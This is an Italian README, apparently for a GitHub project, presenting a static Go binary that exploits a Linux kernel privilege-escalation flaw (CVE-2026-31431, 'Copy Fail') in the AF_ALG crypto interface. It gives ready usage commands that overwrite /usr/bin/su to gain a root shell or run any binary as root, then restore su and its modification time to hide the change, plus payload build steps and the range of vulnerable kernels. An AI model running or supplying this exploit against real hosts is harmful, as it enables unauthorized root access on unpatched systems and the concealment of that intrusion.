
Un'implementazione in Go di copyfail (CVE-2026-31431)
La maggior parte degli LPE su Linux necessitano di una finestra di race o di un offset specifico del kernel. Copy Fail è un difetto logico lineare — non necessita di nessuno dei due. Lo stesso
script Python da 732 bytebinario Go statico compromette ogni distribuzione Linux rilasciata dal 2017.
Un'implementazione in Go di CVE-2026-31431. Nel caso serva un binario statico e nessuna dipendenza da Python.
Vedi copy.fail per maggiori informazioni.
# Get the binary to your Linux host with code execution (exercise for the reader)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su
root@host# cat /tmp/su > /usr/bin/su # Ripristina il binario su originale
root@host# touch -r /tmp/su /usr/bin/su # Ripristina la data di modifica del su originale
root@host# rm /tmp/su
root@host# # Fai cose come root =)
Utile per elevare un programma a root
# Get the binary to your Linux host with code execution (exercise for the reader)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary
user@host$ # Usa ciò che hai eseguito per ripristinare su da /tmp/su
Compila i payload da solo con payloads/build-n-print.sh su un host Debian (testato con Debian 13).
Dovrai eseguire apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf e poi eseguire lo script dalla directory dei payload. Compilerà ogni payload e produrrà le stringhe esadecimali compresse con zlib. Confrontale con quelle presenti in main.go (oppure sostituiscile con le tue) e compila i binari copyfile-go con goreleaser build --snapshot --clean dalla directory principale del progetto.
floor: torvalds/linux 72548b093ee3 August 2017, v4.14
(AF_ALG iov_iter rework that
introduced the file-page write
primitive via splice into the AEAD
scatterlist)
ceiling: torvalds/linux a664bf3d603d April 2026, mainline
(reverts the 2017 algif_aead
in-place optimization; separates
source and destination scatterlists
so page-cache pages can no longer
be a writable crypto destination)
In mezzo: ogni kernel delle principali distribuzioni che non ha backportato la correzione.
Ubuntu, RHEL, SUSE, Amazon Linux e Debian sono risultati tutti vulnerabili
nei loro kernel standard delle immagini cloud al momento della divulgazione. I
backport a livello di distribuzione hanno iniziato a essere distribuiti intorno al 2026-04-29
insieme alla divulgazione pubblica. Per verificare se un kernel target rientra nella finestra,
controlla se a664bf3d603d (o il suo backport specifico della distribuzione) è presente nel
git log del kernel o nel changelog della distribuzione.